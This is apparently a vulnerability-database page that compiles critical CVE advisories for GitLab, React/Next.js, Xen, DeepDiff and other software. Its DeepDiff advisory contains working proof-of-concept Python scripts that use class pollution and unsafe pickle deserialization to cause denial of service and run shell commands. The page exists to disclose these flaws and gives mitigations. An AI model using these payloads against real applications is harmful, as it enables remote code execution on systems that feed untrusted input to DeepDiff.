An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

sqclass.cpp in Squirrel through 2.2.5 and 3.x through 3.1 allows an out-of-bounds read (in the core interpreter) that can lead to Code Execution. If a victim executes an attacker-controlled squirrel script, it is possible for the attacker to break out of the squirrel script sandbox even if all dangerous functionality such as File System functions has been disabled. An attacker might abuse this bug to target (for example) Cloud services that allow customization via SquirrelScripts, or distribute malware through video games that embed a Squirrel Engine.

### Summary

A critical vulnerability has been identified at https://security.snyk.io/package/linux/chainguard:latest/terraform-provider-sendgrid, associated with the underlying Go version.

If the server's TLS configuration is mutated between connections — for example, a CA is removed from the trusted list via `Config.Clone()` combined with modification or `GetConfigForClient` — the resumed handshake still succeeds using the cached session. The certificate is not re-checked against the updated CA list.

As a result, a client whose CA was revoked or removed between the first and second connection could still establish a connection on the resumed session.

### Details

If the server's TLS configuration is mutated between connections — for example, a CA is removed from the trusted list via `Config.Clone()` combined with modification or `GetConfigForClient` — the resumed handshake still succeeds using the cached session. The certificate is not re-checked against the updated CA list.

Consequently, a client whose CA was revoked or removed between the first and second connection could still establish a connection on the resumed session.

An issue has been discovered in GitLab CE/EE affecting all versions from 16.1 prior to 16.1.6, 16.2 prior to 16.2.9, 16.3 prior to 16.3.7, 16.4 prior to 16.4.5, 16.5 prior to 16.5.6, 16.6 prior to 16.6.4, and 16.7 prior to 16.7.2 in which user account password reset emails could be delivered to an unverified email address.

A vulnerability affects certain React packages<sup>1</sup> for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55182](https://www.cve.org/CVERecord?id=CVE-2025-55182). 

Fixed in:
React: 19.0.1, 19.1.2, 19.2.1
Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, 15.6.0-canary.58, 16.1.0-canary.12+

The vulnerability also affects experimental canary releases starting with 14.3.0-canary.77. Users on any of the 14.3 canary builds should either downgrade to a 14.x stable release or 14.3.0-canary.76.

All users of stable 15.x or 16.x Next.js versions should upgrade to a patched, stable version immediately.

<sup>1</sup> The affected React packages are:
- react-server-dom-parcel
- react-server-dom-turbopack
- react-server-dom-webpack

The grant-table feature in Xen through 4.8.x mishandles a GNTMAP_device_map and GNTMAP_host_map mapping, when followed by only a GNTMAP_host_map unmapping, which allows guest OS users to cause a denial of service (count mismanagement and memory corruption) or obtain privileged host OS access, aka XSA-224 bug 1.

Integer Overflow or Wraparound vulnerability in swoole swoole-src (thirdparty/hiredis modules). This vulnerability is associated with program files sds.C.

This issue affects swoole-src: before 6.0.2.

The idle stream handling in nghttp2 before 1.6.0 allows attackers to have unspecified impact via unknown vectors, aka a heap-use-after-free bug.

### Summary
[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).

The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

### Details

The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:
```py
Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})
```

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string.
The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

```py
Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)
```

Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.
Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.
https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98
However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.

This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.

#### Using dict

Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.
However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.
Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.

### Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept.
All input to `Delta` is assumed to be user-controlled.

#### Denial of Service

This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.

```py
# ------------[ Setup ]------------
import pickle

from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))
```

```shell
$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable
```

#### Remote Code Execution

This script will create a file at `/tmp/pwned` with the output of `id`.

```py
# ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta
```

```shell
$ python poc_rce.py
$ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)
```

### Who is affected?

Only applications that pass (untrusted) user input directly into `Delta` are affected.

While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

### Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.
This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,
and possibly in `deepdiff.delta.Delta._get_elements_and_details`.
Example code that raises an error when traversing these properties:
```py
if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")
```

However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).
This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Sandbox escape in the Storage: IndexedDB component. This vulnerability was fixed in Firefox 148, Firefox ESR 140.8, Thunderbird 148, and Thunderbird 140.8.

### Impact

Applications using [Asciidoctor (Ruby)](https://github.com/asciidoctor/asciidoctor) with [asciidoctor-include-ext](https://github.com/jirutka/asciidoctor-include-ext) (prior to version 0.4.0), which render user-supplied input in AsciiDoc markup, may allow an attacker to execute arbitrary system commands on the host operating system. ~~This attack is possible even when `allow-uri-read` is disabled!~~ (EDIT: it’s not)


### Patches

The vulnerability has been fixed in commit c7ea001 (and further improved in cbaccf3), which is included in version [0.4.0](https://rubygems.org/gems/asciidoctor-include-ext/versions/0.4.0).

### Workarounds

```rb
require 'asciidoctor/include_ext'

class Asciidoctor::IncludeExt::IncludeProcessor
  # Overrides superclass private method to mitigate Command Injection
  # vulnerability in asciidoctor-include-ext <0.4.0.
  def target_uri?(target)
    target.downcase.start_with?('http://', 'https://') \
      && URI.parse(target).is_a?(URI::HTTP)
  rescue URI::InvalidURIError
    false
  end
end
```

### References

* https://sakurity.com/blog/2015/02/28/openuri.html

### Credits

This vulnerability was discovered by Joern Schneeweisz from the GitLab Security Research Team.


### For more information

See commit message c7ea001.

If you have any questions or comments about this advisory open an issue in [jirutka/asciidoctor-include-ext](https://github.com/jirutka/asciidoctor-include-ext/issues/).

CVE ID↕	Published↕	CVSS↑
CVE-2021-22205	Apr 23, 2021	Critical 10
CVE-2021-41556	Jul 28, 2022	Critical 10
GHSA-j443-wcqq-xprh	Mar 11, 2026	Critical 10
CVE-2023-7028	Jan 12, 2024	Critical 10
GHSA-9qr9-h5gf-34mp	Dec 3, 2025	Critical 10
ALPINE-CVE-2017-10920	Jul 5, 2017	Critical 10
CVE-2026-24814	Jan 27, 2026	Critical 10
DEBIAN-CVE-2015-8659	Jan 12, 2016	Critical 10
GHSA-mw26-5g2v-hqw3	Sep 3, 2025	Critical 10
DEBIAN-CVE-2026-2768	Feb 24, 2026	Critical 10
GHSA-v222-6mr4-qj29	Mar 31, 2022	Critical 10

Know every vulnerability
before it knows you.

Critical CVE Vulnerabilities (CVSS 9–10) — DevGuard

Know every vulnerabilitybefore it knows you.

Critical CVE Vulnerabilities (CVSS 9–10) — DevGuard

Know every vulnerability
before it knows you.